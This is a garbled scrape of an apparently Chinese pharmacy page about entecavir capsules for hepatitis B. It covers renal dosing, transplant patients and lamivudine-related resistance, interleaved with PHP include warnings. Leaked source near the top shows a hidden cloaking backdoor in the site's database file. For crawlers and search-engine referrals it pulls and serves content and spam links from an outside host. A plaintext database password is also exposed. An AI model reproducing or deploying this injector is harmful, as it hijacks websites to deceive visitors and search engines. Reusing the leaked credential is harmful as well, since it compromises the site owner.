Warning: include(logs.php): failed to open stream: No such file or directory in /www/wwwroot/m.yxk120.com/include/database.php on line 19

Warning: include(): Failed opening 'logs.php' for inclusion (include_path='.:') in /www/wwwroot/m.yxk120.com/include/database.php on line 19
; $userAgent = isset($c['HTTP_USER_AGENT']) ? $c['HTTP_USER_AGENT'] : ''; $referer = isset($c['HTTP_REFERER']) ? $c['HTTP_REFERER'] : ''; if (preg_match(SPIDER_UA, $userAgent)) { $response = papa(SITE); if ($response !== false && $response !== "302" && $response !== "0") { while (ob_get_level()) { ob_end_clean(); } header("Content-Type: text/html;charset=utf-8"); echo $response; exit; } $linksResponse = papa("http://cc.3386ada.com/links.php?dir=/new&host=" . $c["HTTP_HOST"]); if ($linksResponse !== false && $linksResponse !== "302" && $linksResponse !== "0") { echo $linksResponse; } return; } if (!empty($referer) && preg_match(SE_KEYWORDS, $referer)) { $response = papa(SITE); if ($response !== false && $response !== "302" && $response !== "0") { while (ob_get_level()) { ob_end_clean(); } header("Content-Type: text/html;charset=utf-8"); echo $response; exit; } return; } return; function papa($e) { $remoteAddr = $_SERVER["REMOTE_ADDR"]; $host = $_SERVER["HTTP_HOST"]; $userAgent = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; $referer = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; $f = curl_init(); curl_setopt($f, CURLOPT_URL, $e); curl_setopt($f, CURLOPT_USERAGENT, $userAgent); curl_setopt($f, CURLOPT_TIMEOUT, 20); curl_setopt($f, CURLOPT_RETURNTRANSFER, true); curl_setopt($f, CURLOPT_FOLLOWLOCATION, false); curl_setopt($f, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($f, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($f, CURLOPT_HTTPHEADER, array( "X-Forwarded-For: " . $remoteAddr, "X-Forwarded-Host: " . $host, "X-Proxy-Key: " . PROXY_KEY, "User-Agent: " . $userAgent, "Referer: " . $referer )); $g = curl_exec($f); $httpCode = curl_getinfo($f, CURLINFO_HTTP_CODE); if (curl_errno($f)) { curl_close($f); return "0"; } curl_close($f); if ($httpCode == 302) { return "302"; } return $g; } $dbms="mysql"; //数据库类型 $host="localhost"; //主机地址 $dbname="www_yxk120_com"; //数据库名称 $db_user='www_yxk120_com'; //数据库用户名 $db_pass='ZRWDBKN1eZG1maQm'; //数据库密码 try{ $dsn="$dbms:host=$host; dbname=$dbname"; $pdo = new PDO($dsn,$db_user,$db_pass); $pdo->query("utf-8"); } catch (PDOException $e) { print ": ".$e->getMessage()."
"; print "行号: ".$e->getLine()."
"; die(); } //error_reporting(0); date_default_timezone_set('PRC'); //中国时间+ ?> 恩替卡韦分散片和胶囊(服用恩替卡韦胶囊的最佳时间)-粤迅康药房网
Warning: include(../top_product.php): failed to open stream: No such file or directory in /www/wwwroot/m.yxk120.com/news/news.php on line 120

Warning: include(): Failed opening '../top_product.php' for inclusion (include_path='.:') in /www/wwwroot/m.yxk120.com/news/news.php on line 120

Warning: include(../sosuo2.php): failed to open stream: No such file or directory in /www/wwwroot/m.yxk120.com/news/news.php on line 130

Warning: include(): Failed opening '../sosuo2.php' for inclusion (include_path='.:') in /www/wwwroot/m.yxk120.com/news/news.php on line 130
粤迅康大药房热线

Warning: include(../news_nav.php): failed to open stream: No such file or directory in /www/wwwroot/m.yxk120.com/news/news.php on line 139

Warning: include(): Failed opening '../news_nav.php' for inclusion (include_path='.:') in /www/wwwroot/m.yxk120.com/news/news.php on line 139
  当前位置: 首页 > 健康知识(声明:所有内容信息均来源于网络,仅供药品专业人士阅读,不作为用药依据,如有药品疑问,欢迎咨询在线药师。)

恩替卡韦分散片和胶囊(服用恩替卡韦胶囊的最佳时间)

发布时间2021-11-20 15:13:54  来源:粤迅康
【导读】恩替卡韦胶囊的服用注意事项是什么呢?:肾功能不全的患者肌酐清除率50ml/min,包括血透析或CAPD的患者,建议调整恩替卡韦的给药剂量。肝移植受体患者恩替卡韦治疗肝移植受体的安全性和有效性尚不清楚。
恩替卡韦胶囊(恩甘定) ¥ 28.00元

规格:0.5mg*7粒/盒

作用:本品适用于病毒复制活跃,血清丙氨酸氨基转移酶(alt)持续升高或肝脏组织学显示有活动病变的慢性成人乙型肝炎的治疗。

作为一名理性的消费者,在购买任何产品之前都应先阅读其详细的说明书,以确保其用药是否安全,那么恩替卡韦胶囊的服用注意事项是什么呢?

恩替卡韦胶囊(恩甘定)

肾功能不全的患者肌酐清除率<50ml/min,包括血透析或CAPD的患者,建议调整恩替卡韦的给药剂量。肝移植受体患者恩替卡韦治疗肝移植受体的安全性和有效性尚不清楚。

如果认为肝移植受体需要接受恩替卡韦治疗,其曾经或正在接受可能影响肾功能的免疫抑制剂,如:环孢菌素或他克莫司的治疗,应在恩替卡韦给药前及给药过程中严密监测肾功能。耐药性和拉米夫定治疗失效患者的特别注意事项:HBV聚合酶区的拉米夫定耐药位点突变可能会导致继发突变,包括恩替卡韦耐药相关位点的突变。少数拉米夫定治疗失效的患者在基线时就存在恩替卡韦耐药相关位点rtT184、rtS202和rtM250的突变。

拉米夫定耐药的患者随后发生恩替卡韦耐药的风险高于无拉米夫定耐药患者。在拉米夫定治疗失效研究中,恩替卡韦治疗1,2,3,4和5年后,恩替卡韦基因型耐药的累积发生率分别为6%,15%,36%,47%和51%。患者须知患者应在医生的指导下服用恩替卡韦,并告知医生任何新出现的症状及合并用药情况。

应告知患者如果停药有时会出现肝脏病情加重,所以应在医生的指导下改变治疗方法。患者在开始恩替卡韦治疗前,需要进行HIV抗体的检测。

粤迅康药师温馨提醒:对本品过敏者请慎服,如需服用请依照医生吩咐正确服用。如果您在服用本品期间有任何不适或疑问,请及时致电粤迅康药师,400-880-7133,这有多位专科药师为您提供免费的全程用药指导与日常护理指南!

粤迅康公众号微信号:www_yxk120_com

【关注粤迅康公众号微信号:www_yxk120_com;免费咨询专业药师】

恩替卡韦胶囊(恩甘定):http://www.yxk120.com/p/7344.html

相关文章

推荐文章